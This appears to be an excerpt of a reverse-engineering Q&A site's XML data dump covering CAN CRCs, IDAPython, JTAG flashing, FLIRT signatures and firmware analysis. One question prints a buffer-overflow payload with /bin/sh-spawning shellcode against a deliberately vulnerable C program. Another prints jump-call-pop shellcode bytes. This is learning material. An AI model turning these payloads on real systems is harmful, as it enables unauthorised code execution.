  <row Id="24777" PostTypeId="1" CreationDate="2020-04-21T01:56:37.790" Score="1" ViewCount="93" Body="&lt;p&gt;Reverse engineering some Automotive CAN data and the CRC is getting me. &#xA;8 bytes per message, with Byte 0 being the CRC.&#xA;Byte 1 &amp;amp; 0xF contains a counter [0x0 to 0xF]. The rest of the message is data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried running lines of data through various CRC calculations but getting nowhere fast. Any help would be appreciated. csv on the link below &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been running lines of this through reveng and getting the odd match but it's a bit hit and miss&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/open?id=1w7diZetSim7hVV1P-2Qls3DfFkB-57vT&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=1w7diZetSim7hVV1P-2Qls3DfFkB-57vT&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data here is:&#xA;ID,B0,B1,B2...,B7 in Hex&lt;/p&gt;&#xA;&#xA;&lt;p&gt;40F8000000C0000000&#xA;409C010000C0000000&#xA;4030020000C0000000&#xA;4054030000C0000000&#xA;4047040000C0000000&#xA;4023050000C0000000&#xA;408F060000C0000000&#xA;40EB070000C0000000&#xA;40A9080000C0000000&#xA;40CD090000C0000000&#xA;4061100000C0000000&#xA;4005110000C0000000&#xA;4016120000C0000000&#xA;4072130000C0000000&#xA;40DE140000C0000000&#xA;40BA150000C0000000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="32895" LastEditorUserId="32895" LastEditDate="2020-04-22T07:26:22.003" LastActivityDate="2020-04-22T07:26:22.003" Title="8 bit CRC help - Automotive" Tags="|embedded|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24778" PostTypeId="1" CreationDate="2020-04-21T08:32:52.343" Score="1" ViewCount="147" Body="&lt;p&gt;I tried to run &lt;a href=&quot;https://github.com/idapython/src/blob/master/examples/debugging/misc/tempo.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;tempo.py&lt;/a&gt; from ida python github , but I got error &lt;code&gt;No module named tempo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to Igor Skochinsky answer  , this script is wrong&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Apparently, tempo was an internal module used during IDAPython&#xA;  development. This sample should not have been released and will be&#xA;  removed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I want to dump the registers and dump the memory of the process like they did in the script.&lt;/p&gt;&#xA;" OwnerUserId="28889" LastEditorUserId="28889" LastEditDate="2020-04-22T19:02:58.830" LastActivityDate="2020-04-22T19:02:58.830" Title="Ida python No module named tempo" Tags="|ida|idapython|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24779" PostTypeId="2" ParentId="24776" CreationDate="2020-04-21T08:35:54.080" Score="1" Body="&lt;p&gt;There are two possible ways of programming flash over JTAG in such a circuit:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;use JTAG boundary scan to directly bitbang flash chip pins connected to the CPU as if you connected programmer to it. This usually requires detailed mapping of chip pins to boundary scan register (e.g. BDSL file), knowledge of how the flash chip is connected to the CPU, and programming algorithms. AFAIK &lt;a href=&quot;http://urjtag.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;urJTAG project&lt;/a&gt; offers some facilities for this but you will likely need to customize if for your specific project.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;use JTAG debugging functionality (e.g. ARM's CoreSight) to upload a small program into the CPU RAM that would effectively turn the CPU into a flash programmer and allow you to program the chip connected to it. Advantage of this method is that it's less dependent on specific pinout and connectivity between CPU and flash, much faster than boundary scan bitbanging. &lt;a href=&quot;http://openocd.org/doc-release/html/Flash-Programming.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenOCD&lt;/a&gt; implements flashing algorithms for many CPUs and flash chips. You can also look into commercial products like &lt;a href=&quot;https://www.segger.com/products/debug-probes/j-link/technology/flash-download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Segger J-Link&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-04-21T08:35:54.080" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24780" PostTypeId="2" ParentId="24778" CreationDate="2020-04-21T08:45:47.933" Score="1" Body="&lt;p&gt;Apparently, &lt;code&gt;tempo&lt;/code&gt; was an internal module used during IDAPython development. This sample should not have been released and will be removed.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-04-21T12:24:31.617" LastActivityDate="2020-04-21T12:24:31.617" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24781" PostTypeId="1" CreationDate="2020-04-21T09:38:08.013" Score="-1" ViewCount="149" Body="&lt;p&gt;What is the difference between:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV SI,WORD PTR DS:[ESI+0D]&#xA;&#xA;CMP SI,1388&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CMP WORD PTR DS:[ESI+0d],1388 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="32900" LastEditorUserId="31278" LastEditDate="2020-04-21T10:06:36.700" LastActivityDate="2020-09-18T12:02:05.290" Title="ollydbg: CMP - what the difference" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24782" PostTypeId="2" ParentId="24781" CreationDate="2020-04-21T09:46:11.803" Score="1" Body="&lt;p&gt;I believe they are the same for the given assembly snippet, but in the first snippet, the value of &lt;code&gt;ESI+0D&lt;/code&gt; is saved in &lt;code&gt;SI&lt;/code&gt; and could be later used again without loading it from the memory additional time.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-04-21T09:46:11.803" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24783" PostTypeId="2" ParentId="24562" CreationDate="2020-04-21T09:47:21.587" Score="1" Body="&lt;p&gt;You can't use Python 3 and Python 2 in IDA &lt;em&gt;simultaneously&lt;/em&gt;, but you could switch between them by following instructions in &lt;code&gt;README_python3.txt&lt;/code&gt; until IDA 8.0, which dropped Python 2 support.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2023-03-30T10:31:52.657" LastActivityDate="2023-03-30T10:31:52.657" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24784" PostTypeId="2" ParentId="24704" CreationDate="2020-04-21T17:20:37.817" Score="1" Body="&lt;p&gt;It seems that APK resources were obfuscated with AndroResGuard. ApkTool can (mostly) decompile it but compilation is performed with standard aapt2 and it does not understand 'drawable2' resource type, so it complains about invalid file path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find more info on this issue here: &lt;a href=&quot;https://github.com/iBotPeaches/Apktool/issues/1719&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/iBotPeaches/Apktool/issues/1719&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32902" LastActivityDate="2020-04-21T17:20:37.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24787" PostTypeId="2" ParentId="24775" CreationDate="2020-04-22T07:03:06.230" Score="1" Body="&lt;p&gt;I will answer my own question because I figured out what was wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The app was not functioning correctly for a number of reasons that frustrated the analysis. For one, there were many advertising domains being contacted by the app on startup. The app made these connections over TLS and the connections would not succeed without trusting the proxy root CA certificate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got around the problem by using Burp Suite. This tool will automatically identify TLS requests that fail due to the proxy and will stop proxying those domains. Using burp suite I was able to see that all the failed TLS connections were advertising domains that I did not care about. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, other than the third party advertisers, the app actually only uses HTTP and TCP to communicate with various servers. Thus I was able to get all the info I needed from the plain text HTTP requests and some other TCP connections that I monitored using Wireshark.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update: As mentioned in the comments, for some reason some of the domains (the domains owned by the app maker) did not have any issue with TLS connections either because they accepted the Burp root CA or because those connections ignore TLS issues with the certificate (I'm not sure which). Most of the connections made by the app are HTTP, but I was also able to see HTTPS requests to the app's domain as mentioned above. I was not able to view the ad-related TLS traffic, probably due to public key pinning, but I am not sure about that.&lt;/p&gt;&#xA;" OwnerUserId="15992" LastEditorUserId="15992" LastEditDate="2020-04-22T19:37:40.310" LastActivityDate="2020-04-22T19:37:40.310" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24788" PostTypeId="1" CreationDate="2020-04-22T10:52:50.093" Score="1" ViewCount="88" Body="&lt;p&gt;Like the title of this question, im trying to dump dll of process but it only return a message Error: Dllbase is paged (pic below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/73kXE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/73kXE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is the dll on pagefile and can i extract it from pagefile.sys ?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="25842" LastEditorUserId="25842" LastEditDate="2020-04-22T11:01:19.013" LastActivityDate="2020-04-22T11:01:19.013" Title="Can i dump dll from pagefile?" Tags="|memory|memory-dump|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24790" PostTypeId="2" ParentId="23496" CreationDate="2020-04-22T14:38:19.133" Score="-1" Body="&lt;p&gt;Basically, when you limit the size of the PageHeap, it is easier to find bugs. &#xA;If not taking into account things such as EMET or similar mitigations, basically, attach to windbg/IDA and try to see which functions are being called, why and what data you can overwrite or alter, either on purpose or as the result of something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the functions that are being called, for instance from a browser, and see if any allocations or overwrites are being done. If so, see how you can use them to your advantage to overwrite or allocate data to align your specific needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use in memory or different fuzzing tools, but as a baseline, try to check how you mutate the data you insert and try to fuzz different elements of the acceptible protocol, let it be HTML, PHP,JAVASCRIPT,DOM,CSS and similar. Also try to check how the code is being handled by the browser, the way it's parsed and similarly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A great amount of fuzzing guidelines rely on just crushing or overwriting some register, but that's only partial way to find bugs. Try to dig deeper, with a debugger attached and catch bugs that might not make a program crash or cause BSOD, but that are manageable, and see if they can help you control the flaw of the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's strictly regarding fuzzers, I'd also check if it's a dumb or a smart fuzzer, the way it mutates or generates input, what it looks for, if it understands protocols or just looks for crashes and similar.&lt;/p&gt;&#xA;" OwnerUserId="32911" LastActivityDate="2020-04-22T14:38:19.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24791" PostTypeId="1" CreationDate="2020-04-22T15:14:57.970" Score="2" ViewCount="398" Body="&lt;p&gt;I have been trying to exploit simple buffer overflow caused by scanf. I'm working on x86 Linux. The point is to spawn a shell. I sucesfully overwritten return address and jumped into my shellcode. But when it executes some strange thing occurs that i can't understand. The code that I'am working on is taken from here: &lt;a href=&quot;https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compilation: gcc -fno-stack-protector -z execstack -o vuln vuln.c -m32&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASLR is disabled too.&#xA;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;void secretFunction()&#xA;{&#xA;    printf(&quot;Congratulations!\n&quot;);&#xA;    printf(&quot;You have entered in the secret function!\n&quot;);&#xA;}&#xA;&#xA;void echo()&#xA;{&#xA;    char buffer[20];&#xA;&#xA;    printf(&quot;Enter some text:\n&quot;);&#xA;    scanf(&quot;%s&quot;, buffer);&#xA;    printf(&quot;You entered: %s\n&quot;, buffer);    &#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    echo();&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I try to exploit it using this payload:&#xA;python -c &quot;print '\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xe1\xB0\xFF\x34\xF4\xCD\x80' + '\x41' * 3 + '\x42' * 4+ '\x8c\xd6\xff\xff' &quot;&#xA;shellcode(25) + padding(3) + ebp(4) + return(4)&#xA;Where the last part is return address. It succesfully jumps to my shellcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the assembly view of shellcode (after returning to overwritten address). I step instructions one by one up to mov %esp, %ecx(0xffffd69d)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/V51xd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/V51xd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s5Mc5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s5Mc5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then when i try to execute mov %esp, %ecx it goes one byte too close. EIP should point 0xffffd69f but it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7Lyf6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Lyf6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested shellcode separately and it worked.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;    char buf[] = &quot;\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xe1\xB0\xFF\x34\xF4\xCD\x80&quot;;&#xA;    ((void (*)())(buf))();&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I did wrong that it doesnt't work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Had to update all pictures,&#xA;Registers dump before 'mov %esp,%ecx'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TjVTF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TjVTF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32914" LastEditorUserId="32914" LastEditDate="2020-04-22T16:54:24.923" LastActivityDate="2023-02-27T15:00:36.167" Title="Shellcode execution segfault" Tags="|linux|elf|exploit|shellcode|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24792" PostTypeId="1" AcceptedAnswerId="24821" CreationDate="2020-04-22T15:19:28.897" Score="0" ViewCount="520" Body="&lt;p&gt;I'm curious if anyone has any insight on how I can manipulate or mod the code for the built-in software of a digital piano (specifically the Kawai ES8 - or really any digital piano with a display screen). Like if I wanted to change the default chord progressions for the backing tracks, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I don't want to connect it to my computer and read the MIDI data (latency issues) - I want to be able to mod the built-in code directly on the digital piano. I'm getting no luck googling so wanted to see if anyone could point me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="32915" LastActivityDate="2020-04-25T07:26:57.987" Title="How can I mod the built-in software of my digital piano?" Tags="|patching|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="24794" PostTypeId="1" CreationDate="2020-04-22T19:42:04.870" Score="1" ViewCount="546" Body="&lt;p&gt;I've added the following sig files which were generated using flair 7.0 to ida 7.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DPLRX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DPLRX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want ida to find known function names from the sig files,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when I list the FLIRT signature files I don't see the sig files, why might be the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tBggy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tBggy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="32920" LastActivityDate="2020-05-22T21:03:15.297" Title="IDA FLAIR doesn't see sig files" Tags="|ida|flirt-signatures|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24795" PostTypeId="1" CreationDate="2020-04-22T20:15:39.430" Score="1" ViewCount="1358" Body="&lt;p&gt;I have binary that run on Arm Thumb cpu, in embedded devive that &lt;strong&gt;not running Linux&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried to run &lt;code&gt;bimwalk&lt;/code&gt; or &lt;code&gt;file&lt;/code&gt; ,and even open it with Ida ,but they didn't find out that this binary run on Arm processor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I succeed open it with Ida only when I look on the Cpu board and find out this is Arm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any tool(without look on Cpu board)  that can find out know which processor is for to binary?&lt;/p&gt;&#xA;" OwnerUserId="30423" LastActivityDate="2020-04-22T20:58:19.977" Title="Recognize binary architecture" Tags="|ida|binary-analysis|arm|binwalk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24796" PostTypeId="2" ParentId="24795" CreationDate="2020-04-22T20:58:19.977" Score="1" Body="&lt;p&gt;Binwalk has this feature but you need to enable it explicitly:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-A, --opcodes&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Scan target file(s) for common executable opcode signatures&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A project which explicitly tries to determine an architecture of a given binary is &lt;a href=&quot;https://github.com/airbus-seclab/cpu_rec&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;cpu_rec&lt;/code&gt; from Airbus&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that both solutions can only handle a small set of processors: binwalk has a short list of hardcoded opcode sequences and cpu_rec relies on a small corpus of training files. If your binary uses unusual instructions or processor it might be not recognized. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-04-22T20:58:19.977" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24797" PostTypeId="2" ParentId="24794" CreationDate="2020-04-22T20:59:45.847" Score="2" Body="&lt;p&gt;You need to place them into a cpu specific subdirectory, e.g. &lt;code&gt;pc&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-04-22T20:59:45.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24798" PostTypeId="2" ParentId="23448" CreationDate="2020-04-22T21:49:50.170" Score="0" Body="&lt;p&gt;it was obfuscated with obfuscator.io, here it is deobfuscated. &lt;br&gt;&#xA;&lt;a href=&quot;https://pastebin.com/tdH8Di2u&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/tdH8Di2u&lt;/a&gt; &lt;br&gt;&#xA;The function names and variables are still random though.&lt;/p&gt;&#xA;" OwnerUserId="32922" LastActivityDate="2020-04-22T21:49:50.170" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24800" PostTypeId="1" AcceptedAnswerId="24802" CreationDate="2020-04-23T00:14:37.200" Score="0" ViewCount="69" Body="&lt;p&gt;I'd like to know why NASM generates different opcodes for the same code, when it's in the begin or end of the program?&#xA;This question is important because I found NULL characters when I compile the jumper label in the begin of the program, but when I write the same code in the end, it changes and there's no NULL character there. Could anyone give me a hint about it? I have here the NASM code, and the output of objdump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NASM code (jumper label in the begin of code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global _start&#xA;&#xA;section .text&#xA;&#xA;jumper:&#xA;        call shellcode&#xA;        msg: db &quot;Hello World&quot;,0xA&#xA;&#xA;_start:&#xA;        jmp short jumper&#xA;&#xA;shellcode:&#xA;        xor edx, edx&#xA;        mov dl, 0xc&#xA;&#xA;        pop ecx&#xA;&#xA;        xor ebx, ebx&#xA;        inc bl&#xA;        xor eax, eax&#xA;        times 0x04 inc al&#xA;        int 0x80 &#xA;&#xA;        xor ebx, ebx&#xA;        xor eax, eax&#xA;        inc eax&#xA;        int 0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It has NULL characters as we can see...&#xA;(objdump results) Generate with above code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hello-shellcode:     file format elf32-i386&#xA;&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;08049000 &amp;lt;jumper&amp;gt;:&#xA; 8049000:       e8 0e 00 00 00          call   8049013 &amp;lt;shellcode&amp;gt;&#xA;&#xA;08049005 &amp;lt;msg&amp;gt;:&#xA; 8049005:       48                      dec    eax&#xA; 8049006:       65 6c                   gs ins BYTE PTR es:[edi],dx&#xA; 8049008:       6c                      ins    BYTE PTR es:[edi],dx&#xA; 8049009:       6f                      outs   dx,DWORD PTR ds:[esi]&#xA; 804900a:       20 57 6f                and    BYTE PTR [edi+0x6f],dl&#xA; 804900d:       72 6c                   jb     804907b &amp;lt;shellcode+0x68&amp;gt;&#xA; 804900f:       64                      fs&#xA; 8049010:       0a                      .byte 0xa&#xA;&#xA;08049011 &amp;lt;_start&amp;gt;:&#xA; 8049011:       eb ed                   jmp    8049000 &amp;lt;jumper&amp;gt;&#xA;&#xA;08049013 &amp;lt;shellcode&amp;gt;:&#xA; 8049013:       31 d2                   xor    edx,edx&#xA; 8049015:       b2 0c                   mov    dl,0xc&#xA; 8049017:       59                      pop    ecx&#xA; 8049018:       31 db                   xor    ebx,ebx&#xA; 804901a:       fe c3                   inc    bl&#xA; 804901c:       31 c0                   xor    eax,eax&#xA; 804901e:       fe c0                   inc    al&#xA; 8049020:       fe c0                   inc    al&#xA; 8049022:       fe c0                   inc    al&#xA; 8049024:       fe c0                   inc    al&#xA; 8049026:       cd 80                   int    0x80&#xA; 8049028:       31 db                   xor    ebx,ebx&#xA; 804902a:       31 c0                   xor    eax,eax&#xA; 804902c:       40                      inc    eax&#xA; 804902d:       cd 80                   int    0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I'll change the jumper label to the end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global _start&#xA;&#xA;section .text&#xA;&#xA;_start:&#xA;        jmp short jumper&#xA;&#xA;shellcode:&#xA;        xor edx, edx&#xA;        mov dl, 0xc&#xA;&#xA;        pop ecx&#xA;&#xA;        xor ebx, ebx&#xA;        inc bl&#xA;        xor eax, eax&#xA;        times 0x04 inc al&#xA;        int 0x80 &#xA;&#xA;        xor ebx, ebx&#xA;        xor eax, eax&#xA;        inc eax&#xA;        int 0x80&#xA;&#xA;jumper:&#xA;        call shellcode&#xA;        msg: db &quot;Hello World&quot;,0xA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(objdump generate with above code) It hasn`t NULL character:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -d hello-shellcode -M intel&#xA;&#xA;hello-shellcode:     file format elf32-i386&#xA;&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;08049000 &amp;lt;_start&amp;gt;:&#xA; 8049000:       eb 1c                   jmp    804901e &amp;lt;jumper&amp;gt;&#xA;&#xA;08049002 &amp;lt;shellcode&amp;gt;:&#xA; 8049002:       31 d2                   xor    edx,edx&#xA; 8049004:       b2 0c                   mov    dl,0xc&#xA; 8049006:       59                      pop    ecx&#xA; 8049007:       31 db                   xor    ebx,ebx&#xA; 8049009:       fe c3                   inc    bl&#xA; 804900b:       31 c0                   xor    eax,eax&#xA; 804900d:       fe c0                   inc    al&#xA; 804900f:       fe c0                   inc    al&#xA; 8049011:       fe c0                   inc    al&#xA; 8049013:       fe c0                   inc    al&#xA; 8049015:       cd 80                   int    0x80&#xA; 8049017:       31 db                   xor    ebx,ebx&#xA; 8049019:       31 c0                   xor    eax,eax&#xA; 804901b:       40                      inc    eax&#xA; 804901c:       cd 80                   int    0x80&#xA;&#xA;0804901e &amp;lt;jumper&amp;gt;:&#xA; 804901e:       e8 df ff ff ff          call   8049002 &amp;lt;shellcode&amp;gt;&#xA;&#xA;08049023 &amp;lt;msg&amp;gt;:&#xA; 8049023:       48                      dec    eax&#xA; 8049024:       65 6c                   gs ins BYTE PTR es:[edi],dx&#xA; 8049026:       6c                      ins    BYTE PTR es:[edi],dx&#xA; 8049027:       6f                      outs   dx,DWORD PTR ds:[esi]&#xA; 8049028:       20 57 6f                and    BYTE PTR [edi+0x6f],dl&#xA; 804902b:       72 6c                   jb     8049099 &amp;lt;msg+0x76&amp;gt;&#xA; 804902d:       64                      fs&#xA; 804902e:       0a                      .byte 0xa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First shellcode:&#xA;&quot;\xe8\x0e\x00\x00\x00\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x0a\xeb\xed\x31\xd2\xb2\x0c\x59\x31\xdb\xfe\xc3\x31\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second shellcode:&#xA;&quot;\xeb\x1c\x31\xd2\xb2\x0c\x59\x31\xdb\xfe\xc3\x31\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xdf\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x0a&quot;&lt;/p&gt;&#xA;" OwnerUserId="32924" LastActivityDate="2020-04-23T08:27:26.373" Title="NULL character (same code) different locations" Tags="|shellcode|nasm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24801" PostTypeId="1" CreationDate="2020-04-23T04:31:36.070" Score="4" ViewCount="1050" Body="&lt;p&gt;I am new to reverse engineering , but as I am home these days , I wanted to hack my sat receiver. The receiver is based on c-sky v1 architecture'&lt;/p&gt;&#xA;&lt;p&gt;Searching forums, I managed to get the firmware decomposed ( &lt;strong&gt;app.squashfs , app_rootfs.jffs2 , loader.bin ,logo.cramfs , upgrade_rootfs.squashfs and zImage&lt;/strong&gt; )&lt;/p&gt;&#xA;&lt;p&gt;I then extracted a file called &amp;quot;&lt;strong&gt;dvbapp&lt;/strong&gt;&amp;quot; from app.squashfs which I think is main app that does it all&lt;/p&gt;&#xA;&lt;p&gt;It is an ELF file , but can not be detected by ghidra as it doesn't support c-sky , radare neither&lt;/p&gt;&#xA;&lt;p&gt;My question is what can I do further?  Can I even inspect the app ins and outs ( qemu maybe ? ) , or disassemble / decompile it ?&lt;/p&gt;&#xA;&lt;p&gt;the c-sky has a big repository for its toolset ( here: &lt;a href=&quot;https://github.com/c-sky&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/c-sky&lt;/a&gt; ) , but I can't understand much about linux development&lt;/p&gt;&#xA;" OwnerUserId="32890" LastEditorUserId="42335" LastEditDate="2023-05-12T16:51:55.067" LastActivityDate="2023-06-29T10:14:36.413" Title="inspecting c-sky elf application" Tags="|decompilation|qemu|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
